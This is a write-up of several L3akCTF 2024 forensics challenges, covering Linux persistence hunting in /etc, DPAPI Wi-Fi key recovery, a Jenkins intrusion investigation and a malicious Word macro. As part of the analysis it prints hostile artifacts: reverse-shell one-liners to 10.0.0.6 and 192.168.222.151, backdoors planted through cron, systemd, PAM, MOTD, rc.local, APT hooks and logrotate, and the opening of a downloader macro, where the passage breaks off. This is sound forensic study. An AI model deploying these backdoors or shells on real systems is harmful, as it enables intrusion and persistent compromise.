L3akCTF 2024 - Writeups
This is a writeup for some forensics challenges from L3akCTF 2024. Not gonna lie, one of the best CTFs this year where there were many unique challenges to play. Shame I had little time to enjoy the CTF due to having a cybercamp right on the CTF day. I also won the writeup contest with a $25 prize!
HoldOnTight [Forensics]
Question: Hacking is all about persistence
Flag: L3AK{C4n7_570p_w0n7_570p_p3rs1s7}
We are given a Linux artifact to investigate, specifically the etc
directory. The challenge also mentioned that we should be looking for 8 mini flags related to persistence in Linux systems to obtain the real flag. Here are some good references to understand the methods of Linux persistence:
1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ nc 35.229.44.203 3666
Welcome to the ultra-realistic Flag Finder Simulation!
A stealthy hacker has compromised this system and deployed 8 cunning persistence mechanisms.
Your mission, should you choose to accept it, involves the /etc directory, a known haven for configuration treachery.
Each mechanism is cleverly referencing /tmp/backdoor.sh – a nefarious script, no doubt.
Alongside each persistence mechanism, a flag is concealed. Secure all 8 to halt the hacker’s scheme.
Report back with each flag as you uncover them. Each mini flag has L3ak{} format.
Remember: After securing the 8 mini flags, the ultimate flag shall unveil itself.
Gear up, remain vigilant, and good luck!
Flags found: 0/8.
Submit a mini flag:
Flag 1
So the first thing to check was the cron jobs located in /etc/crontab
. Inside it, the 1st flag can be obtained as L3ak{Cr0n5_50_C71ch3}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/5 * * * * root /tm'p/b'ac'kd'oor.sh
#L'3a'k{Cr0n5'_50'_C71'ch3}'
Flag 2
Next, another common location for persistence was /etc/systemd/system
which lists the services that trigger on boot time. A malicious service called backdoor.service
was running a reverse shell called backdoor.sh
(this will come in handy later). Inside it was the 2nd flag reversed as L3ak{53rv1c3_@nd_T1m3r}
.
1
2
3
4
5
6
7
8
9
10
11
12
[Unit]
Description=Malware Service Example
After=network.target
[Service]
Type=simple
ExecStart=/tmp/backdoor.sh
Restart=on-failure
User=root #}r3m1T_dn@_3c1vr35{ka3L
[Install]
WantedBy=multi-user.target
With the name of the reverse shell, grepping it shows that it was utilized in other files.
1
2
3
└─$ grep -r "backdoor.sh" *
pam.d/sudo:session optional pam_exec.so /tmp/backdoor.sh
systemd/system/backdoor.service:ExecStart=/tmp/backdoor.sh
Flag 3
Checking out /etc/pam.d
, the 3rd flag can be obtained as L3ak{5up3r_5h311_u53r}
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#%PAM-1.0
# Set up user limits from /etc/security/limits.conf.
session required pam_limits.so
session required pam_env.so readenv=1 user_readenv=0
session required pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0
# CantStopWontStop
session optional pam_exec.so /tmp/backdoor.sh
#L#3#a#k#{#5#u#p#3#r#_#5#h#3#1#1#_#u#5#3#r#}
@include common-auth
@include common-account
@include common-session-noninteractive
Flag 4
Another persistence method was ‘Message of the Day backdooring’ located in /etc/update-motd.d/
being another common location for persistence. In the directory, a file called 00-header
had the 4th flag encoded in hex L3ak{5h311_0f_7h3_D4y}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/bin/sh
#
# 00-header - create the header of the MOTD
# Copyright (C) 2009-2010 Canonical Ltd.
#
# Authors: Dustin Kirkland <kirkland@canonical.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
[ -r /etc/lsb-release ] && . /etc/lsb-release
if [ -z "$DISTRIB_DESCRIPTION" ] && [ -x /usr/bin/lsb_release ]; then
# Fall back to using the very slow lsb_release utility
DISTRIB_DESCRIPTION=$(lsb_release -s -d)
fi
printf "Welcome to %s (%s %s %s)\n" "$DISTRIB_DESCRIPTION" "$(uname -o)" "$(uname -r)" "$(uname -m)"
echo '2f746d702f6261636b646f6f722e73682026' | xxd -r -p | bash
# echo '4c33616b7b35683331315f30665f3768335f4434797d0a' | xxd -r -p
Flag 5
Reading the blogs, the /etc/rc.local
was another potential location for persistence. Analyzing the file, it seems to be running a bash script that creates the backdoor.sh
reverse shell. One of the script comments show the 5th flag encoded in base64 as L3ak{rc_l0c4l_0n_b00t}
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash
ENCODED_ArcaneGate_PATH="L3RtcC9iYWNrZG9vci5zaA=="
ArcaneGate_PATH=$(echo "$ENCODED_ArcaneGate_PATH" | base64 --decode)
ArcaneGate_BASE64='IyEvYmluL2Jhc2gKL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjAuMC42LzEyMzQgMD4mMQo='
# Check if the ArcaneGate script exists, if not, recreate it from the Base64 string
if [ ! -f "$ArcaneGate_PATH" ]; then
echo "ArcaneGate script not found, recreating..."
echo "$ArcaneGate_BASE64" | base64 --decode > "$ArcaneGate_PATH"
chmod +x "$ArcaneGate_PATH"
fi
# The Specter that Steers Your Spirit
## In the shadowed alcoves of ancient libraries where the whispers of the past linger like morning fog,
## there lies a tome, bound not in leather but in the mysteries of the ether itself.
## The first chapter, "The Specter that Steers Your Spirit," reveals how one may
## summon and commune with the ghostly essences that drift through the veils of our world.
## TDNha3tyY19sMGM0bF8wbl9iMDB0fQ==
# Execute the ArcaneGate script
"$ArcaneGate_PATH"
exit 0
Flag 6
The blogs mentioned ‘APT backdooring’, a persistence method which exploits the APT package manager located in /etc/apt/apt.conf.d/
. Within the directory, a file called 100holdon
had the 6th flag encoded in base64 L3ak{4p7_In57411_5h311}
.
1
2
#TDNha3s0cDdfSW41NzQxMV81aDMxMX0=
DPKG::Post-Invoke {"file=$(echo 'YmFja2Rvb3Iuc2g='|base64 -d); echo 'IyEvYmluL2Jhc2gKL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjAuMC42LzEyMzQgMD4mMQo=' |base64 -d > /tmp/$file;chmod +x /tmp/$file;/tmp/$file";};
Flag 7
The blogs also mentioned /etc/init.d/
being a common location for persistence. In the directory, a script called stillhere.sh
can be found which seems to be running some encrypted payload.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/bin/bash
### BEGIN INIT INFO
# Provides: mysticportal
# Required-Start: $network
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Starts mysticportal
### END INIT INFO
# Function to intreprt messege from the other side
decode_payload() {
local ENCHANTED=$1
local i=5
local payload=""
while [ $i -lt ${#ENCHANTED} ]; do
payload="${payload}${ENCHANTED:$i:1}"
i=$((i+6))
done
echo "$payload"
}
# ENCHANTED strings
ENCHANTED_PATH="MZolj/onNzUtGEMrLmZjjrgprmKwL/xcUclbzQqpeagLsHYcnBeuNkTWiLaduoxKGoLdmsRoNsrdDrjCksD.nFFiksEAYUQhOHsOK"
ENCHANTED_STRING="pfXya/kxqlGbKSPOdikkkUFneWGvk/ATUHObOIgGWaBKYZOsEXWVghZSygL nAIBf-UlMDeiMasOY hwnXE>pbkdm&CJjQK ZULrp/IwnjWdJkTMEePmysevNjfCB/JlMRvtNFdlKciUeGmpMJJxq/AEacj1ApwVV0vQaJr.qQhHU0hmDRa.ihgtX0tsiBd.kawOW6Ekxfl/XwTlz1bRFlJ2XiOHY3ujqyy4QrLBa sQwaF0EQcvD>LpYku&Fyakx1shVgW"
#sJddrLOwQzD3SwoKPavkMSxkXsAXn{CvzIEiaRxQCnkMjFZiSIjBAtkUwvbdPMZbW_udhQT2inbJn_VLZtRbJPTCm0gsJDF0yUiZi7paJvr5giIKI}DScGa
# Decode the ENCHANTED path and script
MYSTICPORTAL_PATH=$(decode_payload "$ENCHANTED_PATH")
MYSTICPORTAL_SCRIPT=$(decode_payload "$ENCHANTED_STRING")
start() {
echo "Starting mysticportal service..."
if [ ! -f "$MYSTICPORTAL_PATH" ]; then
echo "MYSTICPORTAL script not found, recreating..."
echo "$MYSTICPORTAL_SCRIPT" > "$MYSTICPORTAL_PATH"
chmod +x "$MYSTICPORTAL_PATH"
fi
# Start the MYSTICPORTAL script or service
"$MYSTICPORTAL_PATH"
}
stop() {
echo "Stopping MYSTICPORTAL service..."
# Code to stop the MYSTICPORTAL service
}
case "$1" in
start)
start
;;
stop)
stop
;;
*)
echo "Usage: /etc/init.d/MYSTICPORTAL {start|stop}"
exit 1
;;
esac
exit 0
However, the decode function is literally on top of the script so we can just utilize the function to decrypt the payload and obtain the 7th flag L3ak{initd_2_b0075}
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/bash
# Function to interpret message from the other side
decode_payload() {
local ENCHANTED=$1
local i=5
local payload=""
while [ $i -lt ${#ENCHANTED} ]; do
payload="${payload}${ENCHANTED:$i:1}"
i=$((i+6))
done
echo "$payload"
}
ENCRYPTED_STRING="sJddrLOwQzD3SwoKPavkMSxkXsAXn{CvzIEiaRxQCnkMjFZiSIjBAtkUwvbdPMZbW_udhQT2inbJn_VLZtRbJPTCm0gsJDF0yUiZi7paJvr5giIKI}DScGa"
DECRYPTED_STRING=$(decode_payload "$ENCRYPTED_STRING")
echo "Decrypted String: $DECRYPTED_STRING"
Flag 8
Running out of ideas, I did a gamer move and grepped the hex values of L3ak
to find some easy hits. Guess what, it worked and the 8th flag can be found at /etc/logrotate.d/rsyslog/
.
1
2
3
└─$ grep -r "4c33616b" *
logrotate.d/rsyslog: # Regular maintenance script version 4c33616b7b3130675f376834375f35683331317d
update-motd.d/00-header:# echo '4c33616b7b35683331315f30665f3768335f4434797d0a' | xxd -r -p
In the rsyslog
file, the 8th flag can be found encoded in hex L3ak{10g_7h47_5h311}
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/var/log/syslog
/var/log/mail.info
/var/log/mail.warn
/var/log/mail.err
/var/log/mail.log
/var/log/daemon.log
/var/log/kern.log
/var/log/auth.log
/var/log/user.log
/var/log/lpr.log
/var/log/cron.log
/var/log/debug
/var/log/messages
{
rotate 4
weekly
missingok
notifempty
compress
delaycompress
sharedscripts
postrotate
/usr/lib/rsyslog/rsyslog-rotate
# Regular maintenance script version 4c33616b7b3130675f376834375f35683331317d
$(echo -n '2f746d702f6261636b646f6f722e7368' | xxd -r -p)
endscript
}
Final flag
With all the mini flags, the real flag can be obtained.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
└─$ nc 35.229.44.203 3666
Welcome to the ultra-realistic Flag Finder Simulation!
A stealthy hacker has compromised this system and deployed 8 cunning persistence mechanisms.
Your mission, should you choose to accept it, involves the /etc directory, a known haven for configuration treachery.
Each mechanism is cleverly referencing /tmp/backdoor.sh – a nefarious script, no doubt.
Alongside each persistence mechanism, a flag is concealed. Secure all 8 to halt the hacker’s scheme.
Report back with each flag as you uncover them. Each mini flag has L3ak{} format.
Remember: After securing the 8 mini flags, the ultimate flag shall unveil itself.
Gear up, remain vigilant, and good luck!
Flags found: 0/8.
Submit a mini flag:
L3ak{10g_7h47_5h311}
Correct! Mini flag accepted.
Flags found: 1/8.
You have found: L3ak{10g_7h47_5h311}
Submit a mini flag:
L3ak{5h311_0f_7h3_D4y}
Correct! Mini flag accepted.
Flags found: 2/8.
You have found: L3ak{10g_7h47_5h311} L3ak{5h311_0f_7h3_D4y}
Submit a mini flag:
L3ak{5up3r_5h311_u53r}
Correct! Mini flag accepted.
Flags found: 3/8.
You have found: L3ak{10g_7h47_5h311} L3ak{5h311_0f_7h3_D4y} L3ak{5up3r_5h311_u53r}
Submit a mini flag:
L3ak{53rv1c3_@nd_T1m3r}
Correct! Mini flag accepted.
Flags found: 4/8.
You have found: L3ak{10g_7h47_5h311} L3ak{5h311_0f_7h3_D4y} L3ak{5up3r_5h311_u53r} L3ak{53rv1c3_@nd_T1m3r}
Submit a mini flag:
L3ak{rc_l0c4l_0n_b00t}
Correct! Mini flag accepted.
Flags found: 5/8.
You have found: L3ak{10g_7h47_5h311} L3ak{5h311_0f_7h3_D4y} L3ak{5up3r_5h311_u53r} L3ak{53rv1c3_@nd_T1m3r} L3ak{rc_l0c4l_0n_b00t}
Submit a mini flag:
L3ak{Cr0n5_50_C71ch3}
Correct! Mini flag accepted.
Flags found: 6/8.
You have found: L3ak{10g_7h47_5h311} L3ak{5h311_0f_7h3_D4y} L3ak{5up3r_5h311_u53r} L3ak{53rv1c3_@nd_T1m3r} L3ak{rc_l0c4l_0n_b00t} L3ak{Cr0n5_50_C71ch3}
Submit a mini flag:
L3ak{4p7_In57411_5h311}
Correct! Mini flag accepted.
Flags found: 7/8.
You have found: L3ak{10g_7h47_5h311} L3ak{5h311_0f_7h3_D4y} L3ak{5up3r_5h311_u53r} L3ak{53rv1c3_@nd_T1m3r} L3ak{rc_l0c4l_0n_b00t} L3ak{Cr0n5_50_C71ch3} L3ak{4p7_In57411_5h311}
Submit a mini flag:
L3ak{initd_2_b0075}
Correct! Mini flag accepted.
Congratulations, you've done it. Here is your flag: L3AK{C4n7_570p_w0n7_570p_p3rs1s7}
Do It Dynamically [Forensics]
Question: Dynamic FOR THE WIN!
Flag: L3AK{L34rN_2_L1573N_2_6H0575}
We are given a suspicious program to investigate. This challenge was solved by my rev teammate so the method was obviously gonna be unintended as it revolves around decompiling and debugging. The intended method was already shown by the author himself here.
Analyzing the program on IDA, a suspiciously named function can be found that contains some decoding.
In x64dbg, we can go to the Entry Point
and start from there.
Then, we can of the Entry Point
using the address of the suspicious function 50563B1E29385221
Double clicking the constant, it will lead us to the function for further debugging. Scrolling up, notice the push rbp
. Set a new origin (RIP) here and place a breakpoint on the call my_cursed_executable.7FF70F681596
.
Running the program, it should stop at the breakpoint. Then, right click on the value of RDX
to follow it in dump.
Finally, just Step Over
and the flag should be in the dump.
AiR [Forensics]
Question: Could you help me analyze and find out the WiFi password this person connected to is?
Flag: L3AK{BL0b_D3crypt1n9_1s_n0_n3w_t0_u_r1ght?}
We are given a Windows drive to investigate. Researching online about WiFi passwords stored in a Windows system, I stumbled upon this post that mentioned WiFi information being stored under C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces[Interface Guid]
. Checking the folder, the password can be found in a XML file. However, the password (keyMaterial) seems to be encrypted.
Researching online about it, I stumbled upon this post that mentioned about passwords in Windows being encrypted and decrypted using Data Protection API (DPAPI). At this point, I was stuck and had not enough time to solve it before the CTF ended, but I attempted it right after nonetheless. Reading more about DPAPI, I stumbled upon this blog that goes very in-depth in explaining DPAPI, so I will not explain much about it. But basically, a User master key is created and encrypted with user’s password, and it is stored in %APPDATA%/Microsoft/Protect/
while System’s master keys are stored in %WINDIR%/System32/Microsoft/Protect
and used for decrypting DPAPI blobs, protected under a local system account. All the DPAPI blobs created with the CRYPTPROTECT_LOCAL_MACHINE flag set in the CryptProtectData function are protected with the System’s master keys.
Hence, by using Nirsoft DataProtectionDecryptor, we can decrypt any DPAPI data stored on external drive by taking the DPAPI blobs in Protect and the specific registry hives (SYSTEM and SECURITY). Why SYSTEM and SECURITY hives? Since System master keys are not protected by any user passwords, it is secured by the DPAPI_SYSTEM LSA Secret which is stored in the registry under HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets
. This secret is encrypted using the LsaKey derived from the BootKey (or SysKey) which is stored in the Windows SYSTEM registry hive. Shoutout to the author @Nex0 for explaining this part.
After setting the appropriate configurations and paths for the tool, the flag can be obtained.
Impostor [Forensics]
Question: We have detected some anomalies in the network traffic. It’s very likely that this is the result of an attack that we are unaware of. Could you help us investigate what happened? If this is indeed an attack, what has the attacker obtained?
Flag: L3AK{J3nk1n$_1s_0n_3dgE_30d84d801b2947f1bd2faae4fdcbb926}
We are given a auth.log
file and pcap file to investigate. Analyzing the pcap, the TCP streams show the attacker performing an RCE attack using jenkins-cli. Researching more about this, I stumbled upon this blog that mentioned something about a vulnerability that exploits the @
character. Near the first tcp stream shows several WebSocket packets being sent across, this protocol basically just allows bidirectional, streaming communication over an HTTP(S) port.
Analyzing the WebSocket streams, we can see the attacker enumerating important files like /etc/passwd
, /var/lib/jenkins/secrets/master.key
and /var/lib/jenkins/credentials.xml
. The last stream shows a part of the flag as 1s_0n_3dg
.
Ok now to investigate the auth.log
file which contains logs on user logins and authentication mechanisms. The starting logs show brute force attempts on a Jenkins account with the username sparkle
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
---SNIP---
May 17 13:09:01 kali CRON[7274]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
May 17 13:09:01 kali CRON[7274]: pam_unix(cron:session): session closed for user root
May 17 13:09:40 kali sshd[7473]: Received disconnect from 192.168.222.151 port 41630:11: Bye Bye [preauth]
May 17 13:09:40 kali sshd[7473]: Disconnected from authenticating user sparkle 192.168.222.151 port 41630 [preauth]
May 17 13:09:40 kali sshd[7480]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.222.151 user=sparkle
May 17 13:09:40 kali sshd[7482]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.222.151 user=sparkle
May 17 13:09:40 kali sshd[7479]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.222.151 user=sparkle
May 17 13:09:40 kali sshd[7481]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.222.151 user=sparkle
May 17 13:09:43 kali sshd[7480]: Failed password for sparkle from 192.168.222.151 port 41632 ssh2
May 17 13:09:43 kali sshd[7482]: Failed password for sparkle from 192.168.222.151 port 41642 ssh2
May 17 13:09:43 kali sshd[7479]: Failed password for sparkle from 192.168.222.151 port 41636 ssh2
May 17 13:09:43 kali sshd[7481]: Failed password for sparkle from 192.168.222.151 port 41634 ssh2
May 17 13:09:46 kali sshd[7482]: Failed password for sparkle from 192.168.222.151 port 41642 ssh2
May 17 13:09:46 kali sshd[7481]: Failed password for sparkle from 192.168.222.151 port 41634 ssh2
May 17 13:09:46 kali sshd[7480]: Failed password for sparkle from 192.168.222.151 port 41632 ssh2
May 17 13:09:46 kali sshd[7479]: Failed password for sparkle from 192.168.222.151 port 41636 ssh2
May 17 13:09:49 kali sshd[7481]: Failed password for sparkle from 192.168.222.151 port 41634 ssh2
May 17 13:09:49 kali sshd[7482]: Failed password for sparkle from 192.168.222.151 port 41642 ssh2
---SNIP---
However, near the end of the logs show that the attacker gaining access to the Jenkins account and has downloaded malicious files to the system using jenkins-cli. Additionally, it seems that the attacker encoded the /var/lib/jenkins/secrets/hudson.util.Secret
file in base64. This information might come in useful later so take note of it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
---SNIP---
May 17 13:18:29 kali sshd[9756]: Accepted password for sparkle from 192.168.222.151 port 41724 ssh2
May 17 13:18:29 kali sshd[9756]: pam_unix(sshd:session): session opened for user sparkle(uid=1001) by (uid=0)
May 17 13:18:29 kali systemd-logind[528]: New session 12 of user sparkle.
May 17 13:18:29 kali systemd: pam_unix(systemd-user:session): session opened for user sparkle(uid=1001) by (uid=0)
May 17 13:19:01 kali sudo: sparkle : TTY=pts/2 ; PWD=/home/sparkle ; USER=root ; COMMAND=/usr/bin/base64 /var/lib/jenkins/secrets/hudson.util.Secret
May 17 13:19:01 kali sudo: pam_unix(sudo:session): session opened for user root(uid=0) by sparkle(uid=1001)
May 17 13:19:01 kali sudo: pam_unix(sudo:session): session closed for user root
May 17 13:19:52 kali sudo: sparkle : TTY=pts/2 ; PWD=/home/sparkle ; USER=root ; COMMAND=/usr/bin/cat b64hudsonSecret
May 17 13:19:52 kali sudo: pam_unix(sudo:session): session opened for user root(uid=0) by sparkle(uid=1001)
May 17 13:19:52 kali sudo: pam_unix(sudo:session): session closed for user root
May 17 13:22:09 kali sudo: sparkle : TTY=pts/2 ; PWD=/home/sparkle ; USER=root ; COMMAND=/usr/bin/curl http://192.168.222.151:2212/data.bin --output data.bin
May 17 13:22:09 kali sudo: pam_unix(sudo:session): session opened for user root(uid=0) by sparkle(uid=1001)
May 17 13:22:09 kali sudo: pam_unix(sudo:session): session closed for user root
May 17 13:23:02 kali sudo: sparkle : TTY=pts/2 ; PWD=/home/sparkle ; USER=root ; COMMAND=/usr/bin/base58 -d data.bin
May 17 13:23:02 kali sudo: pam_unix(sudo:session): session opened for user root(uid=0) by sparkle(uid=1001)
May 17 13:23:02 kali sudo: pam_unix(sudo:session): session closed for user root
May 17 13:23:14 kali sudo: sparkle : TTY=pts/2 ; PWD=/home/sparkle ; USER=root ; COMMAND=/usr/bin/sed -i -e s/\r$// pers.sh
May 17 13:23:14 kali sudo: pam_unix(sudo:session): session opened for user root(uid=0) by sparkle(uid=1001)
May 17 13:23:14 kali sudo: pam_unix(sudo:session): session closed for user root
May 17 13:23:34 kali sudo: sparkle : TTY=pts/2 ; PWD=/home/sparkle ; USER=root ; COMMAND=/usr/bin/chmod +x pers.sh
May 17 13:23:34 kali sudo: pam_unix(sudo:session): session opened for user root(uid=0) by sparkle(uid=1001)
May 17 13:23:34 kali sudo: pam_unix(sudo:session): session closed for user root
May 17 13:23:44 kali sudo: sparkle : TTY=pts/2 ; PWD=/home/sparkle ; USER=root ; COMMAND=./pers.sh
May 17 13:23:44 kali sudo: pam_unix(sudo:session): session opened for user root(uid=0) by sparkle(uid=1001)
May 17 13:23:44 kali sudo: pam_unix(sudo:session): session closed for user root
May 17 13:24:10 kali sshd[9798]: Received disconnect from 192.168.222.151 port 41724:11: disconnected by user
May 17 13:24:10 kali sshd[9798]: Disconnected from user sparkle 192.168.222.151 port 41724
---SNIP---
Going back to the pcap, the malicious file data.bin
can be extracted via HTTP objects.
The data.bin
file shows a base58 encoded string. Decoding it shows a cron job where the job name was another part of the flag encoded in base64 E_30d84d801b2947f1bd2faae4fdcbb926}
.
1
2
3
4
5
6
└─$ echo "QMSKuQ1jyJEwJYVQPQNGfTdsjT1dbfPBxU1kCuYTwUZC552VDJdFC3NNY6cy5hEm1hAEQn31sJH6VRtknUWjTMyRT5Q4swp71q6QfLX3wCLrgfiDYXGeim49bUpgbSdDfc2EZbgBhBeL8tC2GrPogAAVN1BQ14pEVDm7TzsFNUqvLjLk7M6vY9UsemS1m4AzVshZCSs6sY31f5UCkYC6BbvWUrqFeab5m5DCxZFroHHuCKu6yQQA4BJeASiicfoktdUWHtQeszxuQi6HXBQGytZ5mtGSbbhn2UZngWENU6ESZVLrG3siwz3uFCQw71H78Q29YXgqZb6sv4uDhS95YV3ae8DKLMwrm5c9wWuhM24" | base58 -d
#!/bin/bash
job_name="RV8zMGQ4NGQ4MDFiMjk0N2YxYmQyZmFhZTRmZGNiYjkyNn0="
script_path="/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.222.151/1337 0>&1'"
cron_schedule="0 5 * * *"
(crontab -l 2>/dev/null; echo "$cron_schedule $script_path # $job_name") | crontab -
Finding the last part of the flag was tough, but going through the TCP and WebSocket streams again, I noticed the credential.xml
file stores the encrypted user password that might be the flag.
Doing research on cracking Jenkins passwords, I found this tool that helps decrypt any Jenkins password as long as a master key
and hudson.util.Secret
is supplied. Funnily enough, the master key
can be easily obtained in a WebSocket stream as the attacker already enumerated for it.
The base64 encoded hudson.util.Secret
file can also be obtained at TCP stream 55. Remember to decode and redownload the new hudson.util.Secret
file.
Finally, the password was succesfully decrypted and the final part of the flag can be obtained as L3AK{J3nk1n$_
.
1
2
3
4
5
└─$ python invoke.py --master-key ../sharedfolder/master.key --hudson-secret-key ../sharedfolder/hudson.util.Secret --action decrypt "{AQAAABAAAAAgZv2vv4JB/AgWN1I47+8m9yZ+me7oTd6xvWNvtk5vJcx6UTPCzAvPcL3ugFrzQ0L+}"
TDNBS3tKM25rMW4kXw==
└─$ echo "TDNBS3tKM25rMW4kXw==" | base64 -d
L3AK{J3nk1n$_
The Spy [Forensics]
Question: During our educational course, one of our students found leaked data, but he does not know how it happened. Are you able to recover what was stolen?
Flag: L3AK{D1sc0rd_WebH00ks_4re_C001}
We are given a memory dump to investigate. Reading the scenario, it seems that certain data or files were leaked by a student. Analyzing the proces tree, a suspicious process can be found near the end of the list.
1
2
3
4
5
6
└─$ python3 vol.py -f ~/Desktop/sharedfolder/L3akCTF/The\ Spy/memdump.mem -o ~/Desktop windows.pstree
---SNIP---
* 2408 836 soffice.exe 0x8476ad40 1 23 1 False 2024-05-16 07:06:30.000000 N/A \Device\HarddiskVolume2\Program Files\LibreOffice\program\soffice.exe "C:\Program Files\LibreOffice\program\soffice.exe" C:\Program Files\LibreOffice\program\soffice.exe
** 3516 2408 soffice.bin 0x8540c748 29 692 1 False 2024-05-16 07:06:32.000000 N/A \Device\HarddiskVolume2\Program Files\LibreOffice\program\soffice.bin "C:\Program Files\LibreOffice\program\soffice.exe" "-env:OOO_CWD=2C:\\Program Files\\LibreOffice" C:\Program Files\LibreOffice\program\soffice.bin
The process seems to be related to LibreOffice. So by filtering for .doc
and .docx
files when performing filescan, a suspicious doc file can be obtained.
1
2
3
└─$ python3 vol.py -f ~/Desktop/sharedfolder/L3akCTF/The\ Spy/memdump.mem -o ~/Desktop windows.filescan | grep -E '\.doc'
0x7f84e8a8 100.0\Users\Abdelrhman\Downloads\Cyber Security and Computer Forensics BSc(Hons) 2021-22.doc 128
0x7fd18ef0 \Users\Abdelrhman\Downloads\Cyber Security and Computer Forensics BSc(Hons) 2021-22.doc 128
Bingo! Now to dump the malicious file and analyze it. Since it is a doc file, I suspect that it might be related to Macros. Using oledump, a malicious macro can be obtained.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
PS C:\Users\warlocksmurf\Desktop\oledump> python .\oledump.py 'C:\Users\warlocksmurf\Documents\L3akCTF\The Spy\file.0x7fd18ef0.0x848906b0.DataSectionObject.Cyber Security and Computer Forensics BSc(Hons) 2021-22.doc.dat'
C:\Users\warlocksmurf\Desktop\oledump\oledump.py:186: SyntaxWarning: invalid escape sequence '\D'
manual = '''
1: 114 '\x01CompObj'
2: 4096 '\x05DocumentSummaryInformation'
3: 4096 '\x05SummaryInformation'
4: 65288 '1Table'
5: 751355 'Data'
6: 412 'Macros/PROJECT'
7: 71 'Macros/PROJECTwm'
8: M 5468 'Macros/VBA/NewMacros'
9: m 938 'Macros/VBA/ThisDocument'
10: 3105 'Macros/VBA/_VBA_PROJECT'
11: 573 'Macros/VBA/dir'
12: 219 'MsoDataStore/CQ1ÝÕÅFÈÌÔÎÍP1ÃTØÙRCJQ==/Item'
13: 335 'MsoDataStore/CQ1ÝÕÅFÈÌÔÎÍP1ÃTØÙRCJQ==/Properties'
14: 128 'MsoDataStore/ÅÂB5ÅÞßÛÃEOÐLDÁÑIÖAYÈQ==/Item'
15: 339 'MsoDataStore/ÅÂB5ÅÞßÛÃEOÐLDÁÑIÖAYÈQ==/Properties'
16: 10833 'MsoDataStore/ÈÎDJCÙßÚIUÎDÉÐÇÑÒJJØÃQ==/Item'
17: 1149 'MsoDataStore/ÈÎDJCÙßÚIUÎDÉÐÇÑÒJJØÃQ==/Properties'
18: 1681 'MsoDataStore/ÝÁÐÑÒÖÍ5RÄÆOEIOËÞQPÂGQ==/Item'
19: 321 'MsoDataStore/ÝÁÐÑÒÖÍ5RÄÆOEIOËÞQPÂGQ==/Properties'
20: 152437 'WordDocument'
Thankfully, the macro was easy to understand. It seems that it was downloading and running a Python script called pp.py
from a remote server in the specified path.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
Private Declare PtrSafe Function a1AaQ Lib "urlmon" Alias "URLDownloadToFileA" ( _
ByVal b1BbQ As LongPtr, _
ByVal c1CcQ As String, _
ByVal d1DdQ As String, _
ByVal e1EeQ As Long, _
